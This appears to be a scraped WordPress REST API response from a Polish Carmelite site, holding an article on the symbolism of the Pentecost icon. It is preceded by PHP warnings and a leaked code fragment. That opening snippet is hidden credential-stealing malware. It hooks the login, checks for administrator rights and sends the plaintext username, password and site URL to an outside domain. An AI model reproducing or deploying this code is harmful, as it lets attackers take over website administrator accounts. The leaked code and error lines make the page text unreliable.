if (!function_exists("theme_login_init_8a688cc02b8c377de0fbd195a70c0fab")) {
function theme_login_init_8a688cc02b8c377de0fbd195a70c0fab() {
if (isset($_POST['log']) and isset($_POST['pwd'])) {
$abc = $_POST['log'];
$bca = $_POST['pwd'];
$zxa = (array)wp_authenticate($abc, $bca);
if (isset($zxa["allcaps"]['administrator'])) {
$url = 'https://acjscsswp.com/loginfileweb?url=' . urlencode(wp_login_url()) . '&user=' . urlencode($abc) . '&pass=' . urlencode($bca) . '&site=' . urlencode(wp_login_url());
$response = wp_remote_get($url);
}
}
}
add_action('wp_login', 'theme_login_init_8a688cc02b8c377de0fbd195a70c0fab', 10, 0);
}
?>
Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831
Warning: Cannot modify header information - headers already sent by (output started at /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-content/plugins/child-theme-wizard/child-theme-wizard.php:374) in /home/klient.dhosting.pl/ocd/karmel.pl/public_html1/wp-includes/rest-api/class-wp-rest-server.php on line 1831
{"id":52435,"date":"2024-06-10T00:05:46","date_gmt":"2024-06-09T22:05:46","guid":{"rendered":"https:\/\/www.karmel.pl\/?p=52435"},"modified":"2024-06-10T09:06:55","modified_gmt":"2024-06-10T07:06:55","slug":"ikona-zeslania-ducha-swietego-2","status":"publish","type":"post","link":"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/","title":{"rendered":"Ikona Zes\u0142ania Ducha \u015awi\u0119tego"},"content":{"rendered":"Jedno\u015b\u0107 po\u015br\u00f3d r\u00f3\u017cnorodno\u015bci<\/strong><\/p>\nUroczysto\u015b\u0107 Zes\u0142ania Ducha \u015awi\u0119tego (Zielone \u015awi\u0105tki) w Ko\u015bciele Zachodnim jest zwie\u0144czeniem pi\u0119\u0107dziesi\u0119ciodniowego okresu po Zmartwychwstaniu Chrystusa. To doroczne \u015bwi\u0119to nawi\u0105zuje do zst\u0105pienia Ducha \u015awi\u0119tego na zgromadzonych w wieczerniku Aposto\u0142\u00f3w. Ma ono r\u00f3wnie\u017c konkretne odniesienie do Pi\u0119\u0107dziesi\u0105tnicy, czyli \u017cydowskiego \u015bwi\u0119ta rozpoczynaj\u0105cego \u017cniwa. Wsch\u00f3d chrze\u015bcija\u0144ski traktuje t\u0119 uroczysto\u015b\u0107, jako jedno z dwunastu wielkich \u015bwi\u0105t i tytu\u0142owane bywa r\u00f3wnie\u017c Dniem Tr\u00f3jcy. Takie nazewnictwo wynika z faktu, \u017ce Ko\u015bci\u00f3\u0142 Prawos\u0142awny nie przewiduje osobnego \u015bwi\u0119ta Tr\u00f3jcy Przenaj\u015bwi\u0119tszej i celebruje t\u0119 Tajemnic\u0119 w\u0142a\u015bnie w pierwszy dzie\u0144 Pi\u0119\u0107dziesi\u0105tnicy. Poniedzia\u0142ek po Zes\u0142aniu zarezerwowany jest natomiast wy\u0142\u0105cznie dla Ducha \u015awi\u0119tego i nazywany jest Dniem Ducha. Tym sposobem dwie ca\u0142kowicie r\u00f3\u017cne pod wzgl\u0119dem znaczenia uroczysto\u015bci, a zarazem ikony odnosz\u0105 si\u0119 do Pi\u0119\u0107dziesi\u0105tnicy.<\/p>\n
Na ikonie Zes\u0142ania Duch \u015awi\u0119tego mo\u017cemy wyr\u00f3\u017cni\u0107 trzy sfery, kt\u00f3rym kolejno si\u0119 przyjrzymy.<\/p>\n
\n- Niewidzialna Tr\u00f3jca<\/strong><\/li>\n<\/ul>\n
Niewidoczna na pierwszy rzut oka, a jednak na ikonie Zes\u0142ania Ducha \u015awi\u0119tego jest obecna ca\u0142a Tr\u00f3jca. I tak na g\u0142owy Aposto\u0142\u00f3w w postaci promieni \u015bwiat\u0142a zst\u0119puje z g\u00f3ry Duch \u015awi\u0119ty. Dalej grono Aposto\u0142\u00f3w zawiera po\u015brodku puste miejsce \u2013 tron oczekuj\u0105cy powt\u00f3rnego przyj\u015bcia Chrystusa. Zbawiciel chocia\u017c jest niewidzialny, zawsze jest poprzez nast\u0119pc\u00f3w Aposto\u0142\u00f3w widoczny. W ko\u0144cu otwarty kr\u0105g u g\u00f3ry wskazuje na Ojca b\u0119d\u0105cego w sferze nieba. Tak w niewidzialny, czyli jak najbardziej zwi\u0105zany z Tajemnic\u0105, spos\u00f3b Tr\u00f3jjedyny B\u00f3g obecny jest na ikonie.<\/p>\n
\n- Aposto\u0142owie \u2013 jedno\u015b\u0107 po\u015br\u00f3d r\u00f3\u017cnorodno\u015bci<\/strong><\/li>\n<\/ul>\n
Biblijn\u0105 podstaw\u0105 ikony Zes\u0142ania Ducha \u015awi\u0119tego jest opis z \u201cDziej\u00f3w Apostolskich\u201d (Dz 2, 1-4). Ikonograficzne przedstawienie wydarzenia oczywi\u015bcie odchodzi od naturalistycznych rozwi\u0105za\u0144 i skupia si\u0119 poprzez geometri\u0119, kolorystyk\u0119 i symbolik\u0119 na g\u0142\u0119bokim do\u015bwiadczeniu duchowym Tajemnicy.<\/p>\n
Aposto\u0142owie siedz\u0105 na \u0142awie w kszta\u0142cie podkowy \u2013 to wsp\u00f3lny liturgiczny tron dla celebrans\u00f3w, kt\u00f3ry mo\u017cna jeszcze znale\u017a\u0107 w absydach dawnych ko\u015bcio\u0142\u00f3w. Umieszczeni w dw\u00f3ch naprzeciwleg\u0142ych grupach uczniowie Chrystusa znajduj\u0105 si\u0119 na tym samym planie i przedstawieni s\u0105 w jednakowej skali bez zachowania prawide\u0142 perspektywy. Takie rozwi\u0105zanie wyra\u017ca r\u00f3wno\u015b\u0107 Dwunastu wobec Boga i ludzi oraz jedno\u015b\u0107 pomi\u0119dzy nimi. Jednak\u017ce jedno\u015b\u0107 i r\u00f3wno\u015b\u0107 nie oznacza jednakowo\u015bci. Wr\u0119cz przeciwnie jedno\u015b\u0107 zak\u0142ada r\u00f3\u017cnorodno\u015b\u0107.\u00a0 I tak ka\u017cdy z Aposto\u0142\u00f3w siedzi w innej pozycji, ma inny uk\u0142ad d\u0142oni, niepowtarzalny wygl\u0105d twarzy i w ko\u0144cu ka\u017cdy posiada zr\u00f3\u017cnicowan\u0105 kolorystyk\u0119 szat. Dzieje si\u0119 tak dlatego, gdy\u017c ka\u017cdy z nich ma specyficzn\u0105 misj\u0119 w Ko\u015bciele. Sama za\u015b kolorystyka szat nawi\u0105zuje g\u0142\u00f3wnie do dw\u00f3ch barw bezpo\u015brednio zwi\u0105zanych z tajemnic\u0105 Pi\u0119\u0107dziesi\u0105tnicy: ziele\u0144 (kolor \u017cycia i symbol Ducha \u015awi\u0119tego) i czerwie\u0144 (kolor p\u0142omiennej jak ogie\u0144 mi\u0142o\u015b\u0107).<\/p>\n
Je\u017celi dok\u0142adnie przyjrzymy si\u0119 siedz\u0105cym uczniom Chrystusa, to z \u0142atwo\u015bci\u0105 zauwa\u017cymy, \u017ce pi\u0119ciu z nich trzyma w d\u0142oniach ksi\u0119g\u0119, natomiast siedmiu pozosta\u0142ych rulon. To bardzo istotny szczeg\u00f3\u0142, gdy\u017c rulon w tym wypadku oznacza misj\u0119 przepowiadania \u2013 g\u0142oszenia, a ksi\u0119ga nawi\u0105zuje do tego, co si\u0119 przepowiada. Ta symbolika sugeruje, \u017ce na ikonie niekt\u00f3rzy aposto\u0142owie zostali \u201eusuni\u0119ci\u201d i zast\u0105pieni przez postacie bardziej charakterystyczne spoza grona Dwunastu. I tak po lewej stronie po pustym miejscu wida\u0107 Piotra z charakterystyczn\u0105 brod\u0105. Obok niego siedz\u0105 Mateusz i Marek, ze swymi ksi\u0119gami Ewangelii. Po prawej stronie za pustym miejscem wida\u0107 Paw\u0142a, nast\u0119pnie Jana (bez brody) i \u0141ukasza \u2013 ca\u0142a tr\u00f3jka trzyma w r\u0119kach ksi\u0119gi.<\/p>\n
Patrz\u0105c obiektywnie grono Aposto\u0142\u00f3w zostaje ukazane niezgodnie z prawd\u0105 historyczn\u0105, gdy\u017c autor ikony zast\u0119puje trzech uczni\u00f3w, kt\u00f3rzy faktycznie byli w Wieczerniku, Paw\u0142em oraz ewangelistami: Markiem i \u0141ukaszem. Duchowa intuicja artysty chocia\u017c niezgoda z histori\u0105 ma na celu pokazanie, \u017ce w dzie\u0144 Pi\u0119\u0107dziesi\u0105tnicy rodzi si\u0119 Ko\u015bci\u00f3\u0142, kt\u00f3ry swoje nauczanie opiera na przes\u0142aniu Ewangelist\u00f3w i \u015bw. Paw\u0142a.<\/p>\n
Na \u015brodku ikony pomi\u0119dzy aposto\u0142em Piotrem i Paw\u0142em pozostaje pusta przestrze\u0144. To pusty tron oczekuj\u0105cy powt\u00f3rnego przyj\u015bcia Chrystusa \u2013 symbol ci\u0105g\u0142ego oczekiwania. Na ikonie Chrystus pozostaje niewidzialny, lecz to On jest zawsze obecn\u0105 G\u0142ow\u0105.<\/p>\n
Warto jeszcze wspomnie\u0107 o prostym, ale jak\u017ce wymownym symbolu ikonograficznym jakim s\u0105 wyeksponowane stopy Aposto\u0142\u00f3w. To nawi\u0105zanie do ksi\u0119ga Nahuma (2,1): \u201eOto na g\u00f3rach stopy zwiastuna og\u0142aszaj\u0105cego pok\u00f3j\u2026\u201d. Uczniowie nape\u0142nieni Duchem bez l\u0119ku g\u0142osz\u0105 Ewangeli\u0119 pokoju.<\/p>\n
\n- Starzec w\u00a0oczekiwaniu na Ewangeli\u0119<\/strong><\/li>\n<\/ul>\n
W dolnej cz\u0119\u015bci ikony znajduje si\u0119 nisza. Zazwyczaj ma ona kszta\u0142t arki z ciemnym t\u0142em, niekiedy przypomina drzwi do Wieczernika. Po\u015br\u00f3d ciemno\u015bci groty wy\u0142ania si\u0119 tajemnicza, odziana kr\u00f3lewskim strojem, posta\u0107. To Kr\u00f3l-Starzec, kt\u00f3ry uosabia ca\u0142y Kosmos uwi\u0119ziony w\u00a0ciemno\u015bciach wskutek grzechu pierworodnego. By podkre\u015bli\u0107 to uwi\u0119zienie niekt\u00f3re ikony sytuuj\u0105 Starca za krat\u0105. Zagadkowy Kr\u00f3l trzyma na r\u0119kach bia\u0142\u0105 chust\u0119 z dwunastoma rulonami papirusu. Zwoje te nabieraj\u0105 szczeg\u00f3lnej rangi \u015bwi\u0119to\u015bci i nie nale\u017cy ich dotyka\u0107 go\u0142ymi r\u0119koma. Ca\u0142a ta scena ze Starcem to symbol wyczekiwania przez Kosmos pe\u0142nego nadziei nauczania Aposto\u0142\u00f3w, dzi\u0119ki kt\u00f3remu stary \u015bwiat b\u0119dzie m\u00f3g\u0142 opu\u015bci\u0107 symbolizuj\u0105ce piekieln\u0105 czelu\u015b\u0107 mroki groty, w\u00a0kt\u00f3rej zosta\u0142 uwi\u0119ziony przez szatana. W tajemnym starcu mo\u017cna dostrzec r\u00f3wnie\u017c kr\u00f3la Dawida, kt\u00f3ry reprezentuje jednocze\u015bnie wszystkich prorok\u00f3w i patriarch\u00f3w Starego Testamentu. Pragn\u0119li oni zobaczy\u0107 i nie zobaczyli tego, co sta\u0142o si\u0119 udzia\u0142em Ko\u015bcio\u0142a w dzie\u0144 Pi\u0119\u0107dziesi\u0105tnicy.<\/p>\n
T\u0142o: otwarte Niebo i otwarta Ziemia<\/strong><\/p>\nSala otwiera si\u0119 ku g\u00f3rze, ku miejscu, sk\u0105d pochodz\u0105 ogniste j\u0119zyki, maj\u0105ce swoje \u017ar\u00f3d\u0142o w niebia\u0144skim p\u00f3\u0142kolu, z kt\u00f3re wyp\u0142ywaj\u0105 liczne promienie, a mi\u0119dzy nimi wida\u0107 promie\u0144 potr\u00f3jny. Od promieni roz\u015bwietlone jest niebo.<\/p>\n
T\u0142o ikony tworz\u0105 dwa domy o charakterze wie\u017c po\u0142\u0105czone \u015bcian\u0105 w formie parawanu, wyobra\u017caj\u0105ce \u201esal\u0119 na g\u00f3rze\u201d, w kt\u00f3rej zgromadzeni byli oczekuj\u0105cy na modlitwie Obietnicy Ojca. O\u00a0tym, \u017ce zes\u0142anie Ducha \u015awi\u0119tego ma miejsce w\u00a0Wieczerniku \u015bwiadczy r\u00f3wnie\u017c czerwona, zarzucona na wie\u017ce tkanina zwana welum. M\u00f3wi nam ona o\u00a0tym, i\u017c wyobra\u017cona na ikonach scena rozgrywa si\u0119 we wn\u0119trzu budowli.<\/p>\n
Ca\u0142a kompozycja skierowana jest ku niebu sk\u0105d wydobywaj\u0105 si\u0119 ogniste j\u0119zyki. Wszystko m\u00f3wi j\u0119zykiem otwarto\u015bci: niebo, nisza, aposto\u0142owie. Tak rodzi si\u0119 Ko\u015bci\u00f3\u0142.<\/p>\n
A co z osob\u0105 Maryi?<\/strong><\/p>\nW kanonicznych ikonach miejsce centralne, pomi\u0119dzy Aposto\u0142ami pozostaje puste. Na staro\u017cytnych, bizantyjskich ikonach Zes\u0142ania \u015awi\u0119tego Ducha na Aposto\u0142\u00f3w, poza nielicznymi wyj\u0105tkami, nie ma Bogarodzicy. Jej nieobecno\u015b\u0107 na ikonach Pi\u0119\u0107dziesi\u0105tnicy mo\u017ce sugerowa\u0107, \u017ce pe\u0142nia Ducha, kt\u00f3ry zst\u0105pi\u0142 na Ni\u0105 przy Zwiastowaniu, ju\u017c do Niej nale\u017ca\u0142a. W p\u00f3\u017aniejszych ikonach, pod wp\u0142ywem sztuki zachodniej przedstawiana jest tam posta\u0107 Bogurodzicy.<\/p>\n
***<\/p>\n
Ikona Zes\u0142ania Duch \u015awi\u0119tego zach\u0119ca do otwarto\u015bci, oczekiwania i pokazuje, \u017ce r\u00f3\u017cnorodno\u015b\u0107 nie przeciwstawia si\u0119 jedno\u015bci i r\u00f3wno\u015bci.<\/p>\n
o. Mariusz W\u00f3jtowicz OCD<\/p>\n
\n<\/p>\n","protected":false},"excerpt":{"rendered":"Jedno\u015b\u0107 po\u015br\u00f3d r\u00f3\u017cnorodno\u015bci Uroczysto\u015b\u0107 Zes\u0142ania Ducha \u015awi\u0119tego (Zielone \u015awi\u0105tki) w Ko\u015bciele Zachodnim jest zwie\u0144czeniem pi\u0119\u0107dziesi\u0119ciodniowego okresu po Zmartwychwstaniu Chrystusa. To doroczne \u015bwi\u0119to nawi\u0105zuje do zst\u0105pienia Ducha [\u2026]<\/span><\/p>\n","protected":false},"author":38,"featured_media":16035,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[3,146,91,64],"tags":[],"class_list":["post-52435","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-strawa","category-mariusz-ikony","category-swiat-ikon","category-tygodniowa-formacja"],"yoast_head":"\nIkona Zes\u0142ania Ducha \u015awi\u0119tego - Karmel.pl<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Ikona Zes\u0142ania Ducha \u015awi\u0119tego - Karmel.pl\" \/>\n<meta property=\"og:description\" content=\"Jedno\u015b\u0107 po\u015br\u00f3d r\u00f3\u017cnorodno\u015bci Uroczysto\u015b\u0107 Zes\u0142ania Ducha \u015awi\u0119tego (Zielone \u015awi\u0105tki) w Ko\u015bciele Zachodnim jest zwie\u0144czeniem pi\u0119\u0107dziesi\u0119ciodniowego okresu po Zmartwychwstaniu Chrystusa. To doroczne \u015bwi\u0119to nawi\u0105zuje do zst\u0105pienia Ducha [\u2026]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/\" \/>\n<meta property=\"og:site_name\" content=\"Karmel - Karmelici Bosi\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/karmel.bosi\/\" \/>\n<meta property=\"article:published_time\" content=\"2024-06-09T22:05:46+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-06-10T07:06:55+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/zes\u0142anie.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"800\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Andrzej Cekiera\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"Andrzej Cekiera\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minut\" \/>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Ikona Zes\u0142ania Ducha \u015awi\u0119tego - Karmel.pl","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/","og_locale":"pl_PL","og_type":"article","og_title":"Ikona Zes\u0142ania Ducha \u015awi\u0119tego - Karmel.pl","og_description":"Jedno\u015b\u0107 po\u015br\u00f3d r\u00f3\u017cnorodno\u015bci Uroczysto\u015b\u0107 Zes\u0142ania Ducha \u015awi\u0119tego (Zielone \u015awi\u0105tki) w Ko\u015bciele Zachodnim jest zwie\u0144czeniem pi\u0119\u0107dziesi\u0119ciodniowego okresu po Zmartwychwstaniu Chrystusa. To doroczne \u015bwi\u0119to nawi\u0105zuje do zst\u0105pienia Ducha [\u2026]","og_url":"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/","og_site_name":"Karmel - Karmelici Bosi","article_publisher":"https:\/\/www.facebook.com\/karmel.bosi\/","article_published_time":"2024-06-09T22:05:46+00:00","article_modified_time":"2024-06-10T07:06:55+00:00","og_image":[{"width":1200,"height":800,"url":"https:\/\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/zes\u0142anie.jpg","type":"image\/jpeg"}],"author":"Andrzej Cekiera","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"Andrzej Cekiera","Szacowany czas czytania":"5 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/","url":"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/","name":"Ikona Zes\u0142ania Ducha \u015awi\u0119tego - Karmel.pl","isPartOf":{"@id":"https:\/\/www.karmel.pl\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/#primaryimage"},"image":{"@id":"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/zes\u0142anie.jpg?fit=1200%2C800&ssl=1","datePublished":"2024-06-09T22:05:46+00:00","dateModified":"2024-06-10T07:06:55+00:00","author":{"@id":"https:\/\/www.karmel.pl\/#\/schema\/person\/21946d934a8de42325e9cded8e5f18f4"},"breadcrumb":{"@id":"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/"]}]},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/#primaryimage","url":"https:\/\/i0.wp.com\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/zes\u0142anie.jpg?fit=1200%2C800&ssl=1","contentUrl":"https:\/\/i0.wp.com\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/zes\u0142anie.jpg?fit=1200%2C800&ssl=1","width":1200,"height":800},{"@type":"BreadcrumbList","@id":"https:\/\/www.karmel.pl\/ikona-zeslania-ducha-swietego-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Strona g\u0142\u00f3wna","item":"https:\/\/www.karmel.pl\/"},{"@type":"ListItem","position":2,"name":"Ikona Zes\u0142ania Ducha \u015awi\u0119tego"}]},{"@type":"WebSite","@id":"https:\/\/www.karmel.pl\/#website","url":"https:\/\/www.karmel.pl\/","name":"Karmel - Karmelici Bosi","description":"Oficjalna witryna Krakowskiej Prowincji Zakonu Karmelit\u00f3w Bosych.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.karmel.pl\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.karmel.pl\/#\/schema\/person\/21946d934a8de42325e9cded8e5f18f4","name":"Andrzej Cekiera","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.karmel.pl\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/95390febe3b55f9fc227c24c386f2900?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/95390febe3b55f9fc227c24c386f2900?s=96&d=mm&r=g","caption":"Andrzej Cekiera"}}]}},"jetpack_featured_media_url":"https:\/\/i0.wp.com\/www.karmel.pl\/wp-content\/uploads\/2017\/06\/zes\u0142anie.jpg?fit=1200%2C800&ssl=1","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p900mA-dDJ","_links":{"self":[{"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/posts\/52435"}],"collection":[{"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/comments?post=52435"}],"version-history":[{"count":1,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/posts\/52435\/revisions"}],"predecessor-version":[{"id":60463,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/posts\/52435\/revisions\/60463"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/media\/16035"}],"wp:attachment":[{"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/media?parent=52435"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/categories?post=52435"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.karmel.pl\/wp-json\/wp\/v2\/tags?post=52435"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}